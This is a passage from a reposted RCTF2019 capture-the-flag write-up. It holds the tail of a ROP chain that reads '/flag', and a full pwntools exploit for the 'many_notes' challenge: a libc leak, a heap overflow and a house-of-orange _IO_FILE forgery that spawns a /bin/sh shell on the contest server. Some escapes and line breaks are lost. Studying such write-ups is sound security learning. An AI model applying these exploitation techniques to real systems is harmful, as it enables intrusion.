p64(buf_addr) # @ .data p += p64(0x0000000000033544+libc.address) # pop rax ; ret p += '/flag'.ljust(8,'x00') p += p64(0x000000000007783a+libc.address) # mov qword ptr [rsi], rax ; ret p += p64(0x0000000000021102+libc.address) # pop rdi ; ret p += p64(buf_addr) # @ .data p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret p += p64(0) # rsi = 0 p += p64(0x000000000008b8c5+libc.address) # xor rax, rax ; ret p += p64(0x00000000000abf40+libc.address) # add rax, 1 ; ret p += p64(0x00000000000abf40+libc.address) # add rax, 1 ; ret p += p64(0x00000000000bc375+libc.address) # syscall ; ret # read(fd, buf_addr+8, 0x100) # p += p64(0x000000000044fd9f) # xchg eax, ebp ; ret p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret p += p64(buf_addr+0x30) # @ .data + fd p += p64(0x000000000007783a+libc.address) # mov qword ptr [rsi], rax ; ret p += p64(0x0000000000001b92+libc.address) # pop rdx ; ret p += p64(buf_addr+0x30) # @ .data + fd p += p64(0x00000000001840e6+libc.address) # mov edi, dword ptr [rdx] ; ret p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret p += p64(buf_addr+8) # @ .data + 8 p += p64(0x0000000000001b92+libc.address) # pop rdx ; ret p += p64(0x100) # 0x100 p += p64(0x000000000008b8c5+libc.address) # xor rax, rax ; ret p += p64(0x00000000000bc375+libc.address) # syscall ; ret # write(1, buf_addr+8, 0x100) p += p64(0x0000000000021102+libc.address) # pop rdi ; ret p += p64(1) # stdout p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret p += p64(buf_addr+8) # @ .data + 8 p += p64(0x0000000000001b92+libc.address) # pop rdx ; ret p += p64(0x100) # 0x100 p += p64(0x000000000008b8c5+libc.address) # xor rax, rax ; ret p += p64(0x00000000000abf40+libc.address) # add rax, 1 ; ret p += p64(0x00000000000bc375+libc.address) # syscall ; ret payload += p # gdb.attach(r,"b *0x00005555555551E7") edit(0,payload) r.interactive()
many_notes
分析
- 输入username长度为8是可以泄露libc地址
- 在read函数中,输入content的时候,循环中的size大小不变,有堆溢出漏洞
- 线程thread_arena分配的堆块原理与main_arena大致一样
- 通过不停分配堆块,类似于house of orange,最后top chunk不够分配的内存会被free掉进入unsortbin
- 从unsortbin中new一个新的堆块,并通过堆溢出漏洞修改unsortbin,利用house of orange方法getshell
exp
#!/usr/bin/env python # -*- coding: utf-8 -*- #version 6 by tempo from pwn import * from time import sleep import base64 context(os='linux', arch='amd64') context.log_level = 'debug' IS_DEBUG = 0 prog = './many_notes' def change_ld(binary,ld): if not os.access(ld, os.R_OK): log.failure("Invalid path {} to ld".format(ld)) return None if not isinstance(binary, ELF): if not os.access(binary, os.R_OK): log.failure("Invalid path {} to binary".format(binary)) return None binary = ELF(binary) for segment in binary.segments: if segment.header['p_type'] == 'PT_INTERP': size = segment.header['p_memsz'] addr = segment.header['p_paddr'] data = segment.data() if size <= len(ld): log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld)) return None binary.write(addr, ld.ljust(size, '')) if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn') path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path)) if os.access(path, os.F_OK): os.remove(path) info("Removing exist file {}".format(path)) binary.save(path) os.chmod(path, 0b111000000) #rwx------ success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path)) return ELF(path) #example elf = change_ld('./many_notes', './ld-linux-x86-64.so.2') if IS_DEBUG: r = elf.process(env={'LD_PRELOAD':'./libc.so.6:./ld-linux-x86-64.so.2:./libpthread.so.0'}) libc =r.libc # r = process(prog, env={'LD_PRELOAD':'../libc/libc-2.28.so'}) else: r = remote('123.206.174.203', 20003) # r = process('./{}'.format(prog)) libc = ELF('./libc.so.6') def my_u64(byte_arr): padding = b'x00' * (8-len(byte_arr)) res = byte_arr + padding return struct.unpack('<Q', res)[0] def round(size,padding,input,content): r.sendlineafter("Choice","0") r.sendlineafter("Size",str(size)) r.sendlineafter("Padding",str(padding)) r.sendlineafter("Input?",str(input)) if input != 0: r.sendafter("Content",str(content)) r.sendafter("name","a"*8) #可用于泄露程序地址,libc地址,栈地址 0x00007fffffffecc0 r.recvuntil("a"*8) libc.address = u64(r.recv(6).ljust(8,'x00')) -0x7ffff7bb5720+ 0x00007ffff780a000 success(hex(libc.address)) for i in range(0x2fe): round(0x2000,0x1f, 0,'a'*0x2000) round(0x2000,0xe, 0, 'a'*0x2000) # consume freed chunk at the tail of heap_0 round(0x300, 0, 0, '') #剩下0x1e0大小的unsortbin,将以下payload溢出覆盖正常的unsortbin #模板: system_addr = libc.sym['system'] bin_sh_addr = next(libc.search("/bin/sh")) io_list_all = libc.sym['_IO_list_all'] #&_IO_list_all io_str_jump = libc.sym['_IO_file_jumps']+0xc0 #&_IO_str_jumps payload = 'b'*0x10 #需要将(_IO_list_all或_IO_2_1_stderr+0x68_或_IO_2_1_stdout_+0x68或_IO_2_1_stdin_+0x68)的值修改为伪造表的地址或者一个0x68处指向伪造表的指针(如unsortbin攻击),比如将*_IO_list_all修改为a,a的0x68处指针为b,b就是以下payload,为伪造的io_file_plus表 payload += p64(0) + p64(0x61) + p64(0) +p64(io_list_all-0x10) +p64(0)+p64(1)+p64(0) payload += p64(bin_sh_addr) + p64(0)*19 +p64(io_str_jump-8) payload += p64(0) + p64(system_addr)#system调用时会将IO_buf_base设为参数,实现shell #这里的io_list_all-0x10主要是为了利用unsortbin attack,修改_IO_list_all的值为main_arena+0x58,在有任意地址写的能力时,就不需要这么麻烦了。 #payload长度0x100 round(0x100,0, 1, 'a'*0xf0) #剩余0x10 r.send(payload) r.sendlineafter("Choice","0") r.sendlineafter("Size",str(0x10)) r.interactive()
以上所述就是小编给大家介绍的《Gr3yW0lf RCTF2019 Writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
计算机组成:结构化方法
坦嫩鲍姆 / 刘卫东 / 人民邮电出版社 / 2006-1 / 65.00元
本书采用结构化方法来介绍计算机系统,书的内容完全建立在“计算机是由层次结构组成的,每层完成规定的功能”这一概念之上。作者对本版进行了彻底的更新,以反映当今最重要的计算机技术以及计算机组成和体系结构方面的最新进展。书中详细讨论了数字逻辑层、微体系结构层、指令系统层、操作系统层和汇编语言层,并涵盖了并行体系结构的内容,而且每一章结尾都配有丰富的习题。 本书适合作为计算机专业本科生计算机组......一起来看看 《计算机组成:结构化方法》 这本书的介绍吧!